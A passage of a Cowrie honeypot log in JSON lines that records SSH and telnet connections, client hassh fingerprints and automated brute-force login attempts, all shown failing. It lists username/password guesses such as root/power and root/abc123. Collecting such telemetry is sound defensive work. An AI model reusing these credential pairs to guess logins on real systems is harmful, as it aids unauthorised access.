bc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:50.841780Z","src_ip":"190.85.41.170","session":"d65cb108bb6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"SF2013ShiFangKM0712","message":"login attempt [root/SF2013ShiFangKM0712] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:51.165989Z","src_ip":"190.85.41.170","session":"d65cb108bb6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36898,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0114672a23b","protocol":"ssh","message":"New connection: 31.40.204.166:36898 (159.203.135.109:22) [session: a0114672a23b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:51.613728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:51.618253Z","src_ip":"31.40.204.166","session":"a0114672a23b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:51.784805Z","src_ip":"31.40.204.166","session":"a0114672a23b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:52.216892Z","src_ip":"31.40.204.166","session":"a0114672a23b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:52.241607Z","src_ip":"190.85.41.170","session":"d65cb108bb6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:53.487639Z","src_ip":"31.40.204.166","session":"a0114672a23b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36792,"dst_ip":"10.17.0.5","dst_port":23,"session":"cac859459ceb","protocol":"telnet","message":"New connection: 152.42.224.71:36792 (10.17.0.5:23) [session: cac859459ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:53.847073Z"}
{"eventid":"cowrie.session.closed","duration":41.08206820487976,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:54.289452Z","src_ip":"152.42.224.71","session":"ba0d41b7a3ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":46968,"dst_ip":"10.17.0.5","dst_port":22,"session":"c210f82a6db1","protocol":"ssh","message":"New connection: 170.106.159.59:46968 (10.17.0.5:22) [session: c210f82a6db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:55.876292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:55.880837Z","src_ip":"170.106.159.59","session":"c210f82a6db1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:55.949687Z","src_ip":"170.106.159.59","session":"c210f82a6db1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"power","message":"login attempt [root/power] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:56.258520Z","src_ip":"170.106.159.59","session":"c210f82a6db1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:57.330018Z","src_ip":"170.106.159.59","session":"c210f82a6db1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42010,"dst_ip":"10.17.0.5","dst_port":23,"session":"204c64fe5c45","protocol":"telnet","message":"New connection: 152.42.224.71:42010 (10.17.0.5:23) [session: 204c64fe5c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:49:57.906462Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":37178,"dst_ip":"10.17.0.5","dst_port":22,"session":"477140de8cfe","protocol":"ssh","message":"New connection: 62.133.63.178:37178 (10.17.0.5:22) [session: 477140de8cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:02.186461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:02.192755Z","src_ip":"62.133.63.178","session":"477140de8cfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.552284479141235,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:02.216610Z","src_ip":"152.42.224.71","session":"c182dcc67d42","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:02.319757Z","src_ip":"62.133.63.178","session":"477140de8cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stranger","message":"login attempt [root/stranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:02.699031Z","src_ip":"62.133.63.178","session":"477140de8cfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":82.51251554489136,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:03.307903Z","src_ip":"152.42.224.71","session":"66610c770fb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.2828471660614,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:03.426692Z","src_ip":"152.42.224.71","session":"425f827cd4ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:03.829265Z","src_ip":"62.133.63.178","session":"477140de8cfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42902,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dd263e8fe3d","protocol":"ssh","message":"New connection: 31.40.204.166:42902 (159.203.135.109:22) [session: 0dd263e8fe3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:04.611930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:04.619039Z","src_ip":"31.40.204.166","session":"0dd263e8fe3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:04.809040Z","src_ip":"31.40.204.166","session":"0dd263e8fe3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:05.502714Z","src_ip":"31.40.204.166","session":"0dd263e8fe3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:06.687988Z","src_ip":"31.40.204.166","session":"0dd263e8fe3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33808,"dst_ip":"10.17.0.5","dst_port":23,"session":"0febde88d04b","protocol":"telnet","message":"New connection: 152.42.224.71:33808 (10.17.0.5:23) [session: 0febde88d04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:12.393594Z"}
{"eventid":"cowrie.session.closed","duration":120.00136637687683,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:12.823968Z","src_ip":"152.42.224.71","session":"d34964d1b30b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":48968,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ddb4630e4ff","protocol":"ssh","message":"New connection: 87.251.79.125:48968 (10.17.0.5:22) [session: 3ddb4630e4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:13.936511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:13.943225Z","src_ip":"87.251.79.125","session":"3ddb4630e4ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:14.017703Z","src_ip":"87.251.79.125","session":"3ddb4630e4ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"playboy","message":"login attempt [root/playboy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:14.245755Z","src_ip":"87.251.79.125","session":"3ddb4630e4ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33824,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c925e00db8a","protocol":"telnet","message":"New connection: 152.42.224.71:33824 (10.17.0.5:23) [session: 2c925e00db8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:14.545468Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:15.394925Z","src_ip":"87.251.79.125","session":"3ddb4630e4ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41208,"dst_ip":"159.203.135.109","dst_port":22,"session":"4351baab0617","protocol":"ssh","message":"New connection: 31.40.204.166:41208 (159.203.135.109:22) [session: 4351baab0617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:16.319166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:16.393616Z","src_ip":"31.40.204.166","session":"4351baab0617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:16.582635Z","src_ip":"31.40.204.166","session":"4351baab0617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:17.017767Z","src_ip":"31.40.204.166","session":"4351baab0617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:18.207904Z","src_ip":"31.40.204.166","session":"4351baab0617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46038,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b5924b25fb2","protocol":"telnet","message":"New connection: 152.42.224.71:46038 (10.17.0.5:23) [session: 4b5924b25fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:26.318281Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":59360,"dst_ip":"10.17.0.5","dst_port":22,"session":"75013d227aa1","protocol":"ssh","message":"New connection: 103.91.246.101:59360 (10.17.0.5:22) [session: 75013d227aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:26.381878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:26.388616Z","src_ip":"103.91.246.101","session":"75013d227aa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:26.603459Z","src_ip":"103.91.246.101","session":"75013d227aa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ramon123","message":"login attempt [root/ramon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:27.475542Z","src_ip":"103.91.246.101","session":"75013d227aa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50520,"dst_ip":"159.203.135.109","dst_port":22,"session":"e232871e95f6","protocol":"ssh","message":"New connection: 31.40.204.166:50520 (159.203.135.109:22) [session: e232871e95f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:28.286602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:50:28.291561Z","src_ip":"31.40.204.166","session":"e232871e95f6","protocol":"ssh"}
